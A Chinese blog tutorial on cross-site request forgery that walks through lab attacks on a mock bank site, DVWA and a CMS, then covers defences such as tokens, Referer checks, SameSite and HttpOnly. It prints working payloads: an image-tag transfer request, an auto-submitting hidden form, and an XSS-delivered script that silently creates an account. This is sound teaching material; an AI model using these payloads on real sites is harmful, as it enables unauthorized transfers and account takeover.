跨站请求伪造(CSRF)

来日可期x

已于 2023-08-28 21:25:08 修改

阅读量2k

点赞数 7

分类专栏： Web漏洞原理文章标签：网络安全安全系统安全

于 2023-08-28 21:09:45 首次发布

本文链接：https://blog.csdn.net/weixin_58783105/article/details/132548420

版权

Web漏洞原理专栏收录该内容

14 篇文章 2 订阅

订阅专栏

渗透测试漏洞原理

跨站请求伪造（CSRF）

1. CSRF概述

1.1 基本概念

跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击，它强制浏览器客户端用户在当前对其进行身份验证后的Wb应用程序上执行非本意操作的攻击，攻击的重点在于更改状态的请求，而不是盗取数据，因为攻击者无法查看伪造请求的响应。

借助于社工的一些帮助，例如，通过电子邮件或聊天发送链接，攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户，则成功的CSRF攻击可以强制用户执行更改状态的请求，例如转移资金、修改密码等操作。如果受害者是管理账户，CSRF攻击会危及整个Wb应用程序。

1.1.1 关键点

受害者没有退出登录，受害者保持身份认证。
CSRF继承了受害者的身份和特权，代表受害者执行非本意的、恶意的操作。
CSRF会借用浏览器中与站点关联的所有身份凭据，例如用户的会话Cookie，IP地址，Windows域凭据等。

1.1.2 目标

CSRF 的目标是更改用户账户的状态，攻击者利用CSRF 发送的请求都是更改状态的请求，比如，转账、更改密码，购买商品等等。

CSRF 的场景中，攻击者是没有办法获得服务器的响应。

1.2 CSRF场景

1.2.1 银行账户转账

搭建模拟银行网站 http://192.168.188.183/bank/ 。

1.2.2 构造虚假网站

构造CSRF 攻击连接。

<meta charset='utf-8'>
<img src='./1.jpg'><br/> 
<img src='http://192.168.188.183/bank/action.php? username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手，谁与争锋'>

攻击者通过 <img> 标签构造GET 请求。
浏览器根据 <img> 标签中的 SRC 属性，请求服务器资源，会自动带上身份认证信息。

1.2.3 场景建模

1.2.4 实验

该银行场景一共四个用户。

其中hacker是黑客，账户余额为0。

admin用户可以给其他用户转账，admin给hello用户转账100块

hello用户账户增加100块。

如果admin用户访问了黑客提供的网站。并且点击了第一个链接。

admin就会向黑客用户转账100元。

黑客用户原先的余额

admin用户点击黑客提供的链接后的余额：

查看页面的请求数据，数据提交是在路径中进行的

黑客利用admin访问bank网站的cookie信息。当访问csrf网站的时候，csrf向bank发送请求，bank网站中存储着bank网站的cookie信息，那么在响应的时候，也会将cookie信息携带上。

这个就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。

1.3 CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求，是不是就能够防御CSRF 漏洞了呢？

1.3.1 POST方式

<meta charset='utf-8'>
<form name='csrf' action='http://192.168.188.183/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'> 
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手，谁与争锋</a><br />

这里第二个链接就是POST请求，admin用户点击第二个链接。

同样黑客用户的账户增加100块。

1.4 CSRF验证

bp中有一个Target功能模块，然后点击Site map ，会形成一个目录结构。

bp作为代理分析网站的时候，会自动检测安全风险，当前这里检测的只是一些非常初级的。

右键目标主机，有两个功能选项：主动扫描主机，被动扫描主机。

扫描到主机的风险列表：

1.4.1 CSRF Poc generator

Burp Suite 自带插件，可以根据请求构造表单，进行CSRF 漏洞验证。

这里以DVWA靶场为例，在CSRF这里，选择Low级别。

修改admin的密码为123456。

抓包查看修改密码的数据包。

然后使用bp来生成漏洞验证代码。右键点击点击Engagement tools选择Generate CSRF PoC

将之前的123456密码修改为123.com，然后点击浏览器中测试。

复制该URL地址

在admin用户没有退出DVWA靶场的时候，访问了这个链接，点击提交请求。

admin退出登录后以密码是123456来进行登录，发现登录失败。这个时候密码已经被修改为123.com了。

通过bp验证存在CSRF漏洞。

1.5 XSS与CSRF的区别

攻击方式不同：

XSS：XSS 攻击利用网页中存在的漏洞，注入恶意脚本代码，通过用户浏览器执行这些恶意脚本。攻击者可以窃取用户的敏感信息、劫持用户会话、修改网页内容等。
CSRF：CSRF 攻击则是利用用户的身份和权限发送未经授权的请求，通过伪装合法用户的请求来执行恶意操作。攻击者诱导用户访问恶意网站或点击恶意链接，在用户登录状态下发送伪造的请求。

攻击目标不同：

XSS：XSS 攻击主要针对用户的浏览器，通过操纵网页内容来威胁用户的隐私和安全。
CSRF：CSRF 攻击主要针对受信任网站的用户，试图利用他们在目标网站上的身份和权限执行未经授权的操作。

攻击手段不同：

XSS：XSS 攻击通过注入恶意脚本代码来实现，可以利用的漏洞包括反射型、存储型和 DOM 型 XSS。
CSRF：CSRF 攻击则依赖于目标网站的业务逻辑漏洞，攻击者构造伪造请求并诱使受害者执行。

防御策略不同：

XSS：防御 XSS 攻击的主要方法包括对用户输入进行过滤和转义、使用 CSP（内容安全策略）限制脚本执行、设置 HttpOnly 标志等。
CSRF：防御 CSRF 攻击的主要方法包括使用 CSRF 令牌（加入一个随机生成的令牌，验证每个请求的合法性）、检查请求的来源 referer 头信息、使用 SameSite Cookie 属性等。

2. CSRF攻防

2.1 CSRF实战

2.1.1 与XSS漏洞相结合

首先确定目标网站存在XSS漏洞。

攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程，可以构造如下代码：

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

2.1.2 实验

修改密码这里是无法进行CSRF攻击的，因为这里攻击者在构造的时候需要输入原密码。

我们需要在添加用户的功能模块下完成实验。

点击添加账号

添加一个wuhu用户

使用bp抓包，查看添加用户的请求

POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.188.183
Content-Length: 107
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.188.183
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.188.183/cms/admin/user.add.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: username=admin; userid=1; PHPSESSID=a41pppsn1s0ven64a8smevjhsf; security=low
Connection: close

act=add&username=wuhu&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程，可以构造如下代码：

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.188.183/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=wuhu&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

然后将wuhu用户删除了。

再将构造的攻击代码提交到cms网站的留言板模块

提交成功

管理员登录后进行留言管理，看到了我们刚才的留言，意味着触发攻击了。

使用wuhu这个用户登录系统，密码123.com。

登录成功！

2.2 CSRF防御

2.2.1 无效防御

使用秘密的Cookie。
仅接收POST请求
多步交易：多步交易，有可能会被恶意攻击者预测。
URL重写：用户的身份信息会暴露在URL中，不建议通过引入另外一个漏洞来解决当前漏洞。
HTTPS：所有安全机制的前提。

2.2.2 有效防御

验证Referer字段：

前URL的上一个URL。
转账页面到转账操作。
伪造？

添加Token验证：

二次验证：在关键操作之前，再输入密码或者验证码。
HttpOnly：某些情况下禁止JS 脚本访问Cookie 信息。PHP: setcookie - Manual。
SameSite：Cookie 属性，浏览器自带的安全机制。

2.2.3 HttpOnly实验

验证：

创建一个function目录，在目录中创建一个setcookie.php文件。

然后编写函数

<?php
	setcookie("username","wuhu",time()+3600,"","","",false);
?>

这里将httponly参数设置为false。

在浏览器中进行页面访问，打开F12，输入如下命令：

alert(document.cookie);

cookie信息成功弹出。

点击Application查看Cookie信息。

将Cookie信息删除，再次输入命令。这次没有弹出Cookie信息。

现在将httponly参数设置为true。

点击Application查看Cookie信息，现在HttpOnly开启了，之前是没有开启的。

再次输入alert(document.cookie);，发现弹框中没有任何信息。

来日可期x

关注

7
点赞
踩
6

收藏

觉得还不错? 一键收藏
打赏
0
评论
跨站请求伪造(CSRF)

跨站请求伪造是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。
复制链接

扫一扫